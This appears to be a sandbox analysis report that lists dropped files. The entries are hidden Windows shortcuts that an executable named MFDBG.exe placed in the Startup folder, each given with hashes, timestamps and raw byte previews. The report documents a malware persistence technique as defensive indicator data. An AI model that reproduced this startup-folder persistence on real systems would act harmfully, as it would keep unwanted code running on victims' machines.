Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7677638331541c29d384b53f96550ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937245400099625
Encrypted:	false
SSDEEP:	24:8aohBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aq+0R6rMhpBoUBxdRd1nYyg
MD5:	1B881196E28B81D8F1A8DB98FFA391D2
SHA1:	9BE88B733D9A6052960138E48D2D2CBAAE00F48F
SHA-256:	CD543E16BAE7C03528DD50340F594DFB66A2263B5F69C81D53187602C7AFBE9A
SHA-512:	EDF91448BA470E347898E5A4D4BE5B1FDE1DCD240460B0FB6FCDEFBBC77F2247B4266FF882DF097AC299E15B95B288B0B50D420C90299C922F121C0F88C0A848
Malicious:	false
Preview:	L..................F...."...]W%.{.....e.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7788557f463461084769439b4c95751.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93693876814321
Encrypted:	false
SSDEEP:	24:82PhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82Ts0R6rMhpBoUBxdRd1nYyg
MD5:	DEA882C11DD5B076C78709040C5477F3
SHA1:	97E3573C530E359C5C3D26427AB3B4F28911A9A4
SHA-256:	8A9927FA476C7679829B50C5953C3A34C0CD44730D1AF713F9C19EE6D6C3CD6D
SHA-512:	20B6D57CE332A7BFFFCA0AE557F36079FA26C11C4600AE17D850887E821B02614CE59FFAC72AF6000B2794B8B1A02F850957B74AA867751C0DD418C0453D244F
Malicious:	false
Preview:	L..................F...."...]W%.{.....].{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7a16febdd494848a699d5383d1e5b48.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94141591063575
Encrypted:	false
SSDEEP:	24:8lhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81d0R6rMhpBoUBxdRd1nYyg
MD5:	E71C8AF300C2AE98233022268709540B
SHA1:	478F0E06BD05479BCABB6C8B1E6445E3CF1E91CC
SHA-256:	C7BE7FF5D4A51455B59D34CFDC06AF4FA15E689D78E7E24E7852530EAD4BE3AB
SHA-512:	AF0CD5E2AE3D4317A0B9E5E0F847BBC415E7E5A3AECC5E21083792896A7C1ED8C91198E00A3D601EB83BCC4B0A120DB823D017F8D9E6E0B598BCAB8D8A349B71
Malicious:	false
Preview:	L..................F...."...]W%.{...~U..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7c46f9736e74bdf8ee3d247159bb7d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933235987714919
Encrypted:	false
SSDEEP:	24:8c0hBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zE0R6rMhpBoUBxdRd1nYyg
MD5:	1DAB7BDB5B0865AFD5754E7EC9AE4E7A
SHA1:	470C09101F0A852C0927839D8D57329C40EBE3EE
SHA-256:	80AC68E1D5857F9BA03C212EDC8FC10AE4C8D23BE91EB89236BF674F1218D720
SHA-512:	B9439FB75638854328C8A8DCF3A71D2AF8AC5A94AA8383512A2AF0562BF3A3D88C81B130342CBE17146635E2A7325C9929BA54E23D42DAD9117DD4A6AD6893C9
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7c6bdc968d148e4884cea716af6b891.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9348221278556945
Encrypted:	false
SSDEEP:	24:8ohBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qS0R6rMhpBoUBxdRd1nYyg
MD5:	058EE184F655EEFA886B5D21582C34B7
SHA1:	FC06BF37C87F322BE9253A3AF2E0D28F8C86AE87
SHA-256:	D8DB7B7797A23237B24904760AAEF688E040DFE7B14DCF1C7A5D118C9135BAFA
SHA-512:	1DFA719C97D8B2A436ABBBD5DDF1DF20B5F4C65E50B7B7B5E772C305B89E24B93A3CD29454498CC6927D767815EC50C43B687C78FF427A03F5177BECFB75A3A3
Malicious:	false
Preview:	L..................F...."...]W%.{.....{.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0w.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7e4a9ff581a4baca940ba6f2c9aeb72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933753473620754
Encrypted:	false
SSDEEP:	24:8HhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bn0R6rMhpBoUBxdRd1nYyg
MD5:	A5ABE6B4B20CCA1FA460C16D840FCA86
SHA1:	125FE3AE18AD7AE86DA5AB4F793DDDDEA7B49DA2
SHA-256:	1BDEEB3835F6D42B73EE09076B609A1E3F3A0DDDA015FC4F4F958223B7CB84B2
SHA-512:	39B5F11E1055060EC5CD6B897251C758BF8C2D9F6A5CC673695F1E54B6EB3813442114FB8E315F9B96EF9985BE63C9EB13C779F9B2EA3FA268735FC869553706
Malicious:	false
Preview:	L..................F...."...]W%.{....{.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d896d82f401c4f359c86ef9aad600b72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941540764776787
Encrypted:	false
SSDEEP:	24:8mhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sl0R6rMhpBoUBxdRd1nYyg
MD5:	67E08E83CE98DAA3A7D3B58FF620876D
SHA1:	C9067540DF2F24A34B410C2B5BAB165E46CD4B37
SHA-256:	F1F7CF13E385F8EB9B31DEB49CC608036B91E8E115308E98D43CB7857C7824F5
SHA-512:	03738E531805BAFE8DC0481DC20D483DDC00D7C26E8DD44C969E82AEDA8E1445FE20D27439FB6EE1497DC6986FB2769A9A4ADDFDA51DE6BC32C5C65B83DB1D7C
Malicious:	false
Preview:	L..................F...."...]W%.{...B...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8cf33e0336f40c68ce809226c63f3a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935467803065622
Encrypted:	false
SSDEEP:	24:8UhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8W+0R6rMhpBoUBxdRd1nYyg
MD5:	6AC84AD9780CC4C41A54BFB7C494922E
SHA1:	9B7F3627050E8D8A8E905C61426AD5B0B5C162E8
SHA-256:	DD2833441A2F8F4EF9FBC9E0957B47F54CB6ED35A8D0236F74EB1FE6C5004DCA
SHA-512:	0064D89637D2C72C190919B11E47AF7F47218867506EDE6820F53042E3131F3F7E09F0E641444D31368D069DA4C7CC142D4D6FDF4280DD3C7AC054F8A189D18E
Malicious:	false
Preview:	L..................F...."...]W%.{.....m.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8ecca115d024b618e2b7ac1d3cd109c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9380089900021265
Encrypted:	false
SSDEEP:	24:8vhBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8z9c0R6rMhpBoUBxdRd1nYyg
MD5:	A5EBCA7119E1D1C4FF2DD815D06D444F
SHA1:	07052C184C6688714CA5621A7429DFD810B898DD
SHA-256:	A10CE4E347F7D48E925FC98973AE49501EB7F8B3D6F7470DCC59E23792F54F90
SHA-512:	086227F6723B559BA53FB08BCE08404CB19334FF93DF82C60D0CB3C8C0A55A9DFE31AE47715B69CC141C4CDF5DDE4F9368F8063A6495E7AD3275241EA6C6E14F
Malicious:	false
Preview:	L..................F...."...]W%.{.....z.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d93a921c27904f018602e47ec9f7be65.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943521954270608
Encrypted:	false
SSDEEP:	24:88qhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RC0R6rMhpBoUBxdRd1nYyg
MD5:	B3E7DA0BDDE4DE8C3211BC7AFEA00503
SHA1:	4BE416D58F4428362115C266756B137D3F15AE09
SHA-256:	ADE5185116272314D96CFA4094DDD984352F1E6BB5F29B96B347E67BA0DC64A5
SHA-512:	9D2909C5F457DCAF9635F8848EC691137A26B6380F4459E779640B1F0D0387F9051BBDC883F60D061BEBB8551942EC182F1C513DBCE3BA2ED85A8CA003B2F31A
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....7.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da1e4f8ccbae417893432587d2d9d6d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936911974585528
Encrypted:	false
SSDEEP:	24:84mhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84s60R6rMhpBoUBxdRd1nYyg
MD5:	83412265C418BADE8E2814BAACDFAE6E
SHA1:	2C310BD3553CFB858FF96B53484FC5FF1F2C33FE
SHA-256:	E5DB77D6F3DA54897D36BAFB589E479007F43ADBD8A7422FF37C79E76F3C7F16
SHA-512:	4DE4B01091CBC06F2C37F13F0C62660E41EC0A92710698F42BED2E18FE1AF07D2B069DD5435A5F06A05B57B85A82ABCB14275F0E544180992E6236F457DA1543
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da50214132cf4ecf9199b4cb27b35eb2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931940238827678
Encrypted:	false
SSDEEP:	24:80hBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82p0R6rMhpBoUBxdRd1nYyg
MD5:	F7A5A1F589EAB97D486F394909B938DC
SHA1:	D9F7AB74D5F191F31E1E8687468AE7491F54A9B0
SHA-256:	7C13D2D2580E53DD84DBEA71F8C00160EB8925735884E9FED38DC11D25395E42
SHA-512:	31951385EE0526F0E37283A0054874255069353E607F5D2ED086EDAFAE5F73091096063CFDD0EA7E5DF62CD3B40B4EE38CBC7B11D5688BCB05410683EC94C2D5
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da8fb3c233ba4d2d9512810d4de047c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943843124294043
Encrypted:	false
SSDEEP:	24:89hBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89y0R6rMhpBoUBxdRd1nYyg
MD5:	D690CDF3DB37C0A20FCA7A651A09FB8C
SHA1:	CD40E84FDCF380712AFC0F83A6637BE129DD638D
SHA-256:	BA96D7AD206412908BD0FB088C10F15FE977C150D97C8519C28C5D0EF2C9C508
SHA-512:	FC4BA05418AE305322A546343D0A94797DDCAF714FDF0464CF853924B8245E1C65612EAE9777AE6794C64A8B6D245B01386029DE92EFD046843E7B543DD379AD
Malicious:	false
